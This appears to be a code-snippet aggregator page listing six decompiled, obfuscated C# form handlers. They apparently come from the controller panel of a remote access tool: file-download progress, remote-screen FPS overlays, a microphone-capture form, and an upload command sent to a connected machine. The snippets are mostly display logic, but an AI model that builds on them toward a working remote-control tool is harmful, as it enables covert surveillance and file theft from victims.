예제 #1
0
        // Token: 0x060000ED RID: 237 RVA: 0x001E0EA0 File Offset: 0x001DF2A0
        private void DW_Load(object sender, EventArgs e)
        {
            this.Text = Conversions.ToString(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Class7.smethod_1(this.osk.L)), " - ")), Class6.smethod_16(this.FN))));
            this.ProgressBar1.Maximum = this.SZ;
            this.folder = this.osk.Folder + "Baixados\\";
            bool flag = !Directory.Exists(this.folder);

            if (flag)
            {
                Directory.CreateDirectory(this.folder);
            }
            this.folder += new FileInfo(Class6.smethod_16(this.FN)).Name;
            this.Lv1.Items[0].SubItems[0].Text = new FileInfo(Class6.smethod_16(this.FN)).Name;
            this.Lv1.Items[1].SubItems[0].Text = Class6.smethod_17((long)this.SZ);
            do
            {
                this.tmp = Interaction.Environ("Temporarios") + "\\njfm_" + Class6.smethod_6(10);
            }while (File.Exists(this.tmp));
            this.FS = new FileStream(this.tmp, FileMode.Append);
            this.Lv1.Items[2].SubItems[0].Text = Class6.smethod_17((long)(this.ProgressBar1.Value - this.os));
            this.os = this.ProgressBar1.Value;
            this.Lv1.Items[3].SubItems[0].Text = Class6.smethod_17((long)this.ProgressBar1.Value);
            this.Lv1.method_3();
            this.Timer1.Enabled = true;
        }
예제 #2
0
 // Token: 0x060000BF RID: 191 RVA: 0x001DF5C8 File Offset: 0x001DD9C8
 private void PictureBox1_Paint(object sender, PaintEventArgs e)
 {
     try
     {
         string    text = Conversions.ToString(this.int_0) + " FPS\r\n" + Class6.smethod_17((long)this.pkt);
         Size      size = TextRenderer.MeasureText(text, new Font(this.Font, FontStyle.Bold));
         Rectangle rect = new Rectangle(0, 0, size.Width, size.Height);
         e.Graphics.FillRectangle(Brushes.Black, rect);
         Brush brush = Brushes.White;
         bool  flag  = this.int_0 > 3;
         if (flag)
         {
             brush = Brushes.YellowGreen;
         }
         flag = (this.int_0 > 6);
         if (flag)
         {
             brush = Brushes.White;
         }
         e.Graphics.DrawString(text, new Font(this.Font, FontStyle.Bold), brush, 0f, 0f);
     }
     catch (Exception ex)
     {
     }
 }
예제 #3
0
        // Token: 0x060002AC RID: 684 RVA: 0x001F1E1C File Offset: 0x001F021C
        private void Mic_Load(object sender, EventArgs e)
        {
            try
            {
                this.QQ   = Conversions.ToString(RuntimeHelpers.GetObjectValue(Class7.smethod_1(this.osk.L)));
                this.Text = Class6.smethod_17(0L) + " " + this.QQ;
            }
            catch (Exception ex)
            {
            }
            bool flag = this.ComboBox1.Items.Count == 0;

            if (flag)
            {
                this.Close();
            }
            else
            {
                this.Button1.ImageAlign      = ContentAlignment.MiddleLeft;
                this.Button1.Image           = Resources.control_play_blue;
                this.ComboBox1.SelectedIndex = 0;
                flag = (Class7.class8_0.int_1 > this.ComboBox2.Items.Count - 1);
                if (flag)
                {
                    Class7.class8_0.int_1 = 0;
                }
                this.ComboBox2.SelectedIndex = Class7.class8_0.int_1;
                flag = Class7.class8_0.bool_8;
                if (flag)
                {
                    this.Button1_Click(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(sender))), e);
                }
            }
        }
예제 #4
0
 // Token: 0x060003FA RID: 1018 RVA: 0x001FDA60 File Offset: 0x001FBE60
 private void up_Load(object sender, EventArgs e)
 {
     this.FS = new FileStream(this.TMP, FileMode.Open);
     this.Lv1.Items[0].SubItems[0].Text = new FileInfo(this.TMP).Name;
     this.Lv1.Items[1].SubItems[0].Text = Class6.smethod_17((long)this.SZ);
     this.Lv1.Items[2].SubItems[0].Text = Class6.smethod_17(0L);
     this.Lv1.Items[3].SubItems[0].Text = Class6.smethod_17(0L);
     this.ProgressBar1.Maximum          = this.SZ;
     this.osk.Send(string.Concat(new string[]
     {
         "Ex",
         Class7.string_1,
         "fm",
         Class7.string_1,
         "up",
         Class7.string_1,
         this.osk.ip(),
         Class7.string_1,
         Class6.smethod_14(ref this.FN),
         Class7.string_1,
         Conversions.ToString(this.SZ)
     }));
     this.Lv1.method_3();
     this.vmethod_4.Enabled = true;
 }
예제 #5
0
 // Token: 0x060000EE RID: 238 RVA: 0x001E10A8 File Offset: 0x001DF4A8
 private void Timer1_Tick(object sender, EventArgs e)
 {
     try
     {
         this.Lv1.Items[2].SubItems[1].Text = Class6.smethod_17((long)(this.ProgressBar1.Value - this.os));
         this.os = this.ProgressBar1.Value;
         this.Lv1.Items[3].SubItems[1].Text = Class6.smethod_17((long)this.ProgressBar1.Value);
     }
     catch (Exception ex)
     {
     }
 }
예제 #6
0
        // Token: 0x06000355 RID: 853 RVA: 0x001F78D4 File Offset: 0x001F5CD4
        private void p_Paint(object sender, PaintEventArgs e)
        {
            string text = Conversions.ToString(this.int_0) + " FPS\r\n" + Class6.smethod_17(this.pkt);
            Size   size = TextRenderer.MeasureText(text, new Font(this.Font, FontStyle.Bold));
            bool   flag = !(this.point_2.X < size.Width & this.point_2.Y < size.Height);

            if (flag)
            {
                Rectangle rect = new Rectangle(0, 0, size.Width, size.Height);
                e.Graphics.FillRectangle(new Pen(Color.FromArgb(100, 1, 1, 1)).Brush, rect);
                Brush brush = Brushes.White;
                flag = (this.int_0 > 3);
                if (flag)
                {
                    brush = Brushes.White;
                }
                flag = (this.int_0 > 6);
                if (flag)
                {
                    brush = Brushes.Lime;
                }
                e.Graphics.DrawString(text, new Font(this.Font, FontStyle.Bold), brush, 0f, 0f);
            }
        }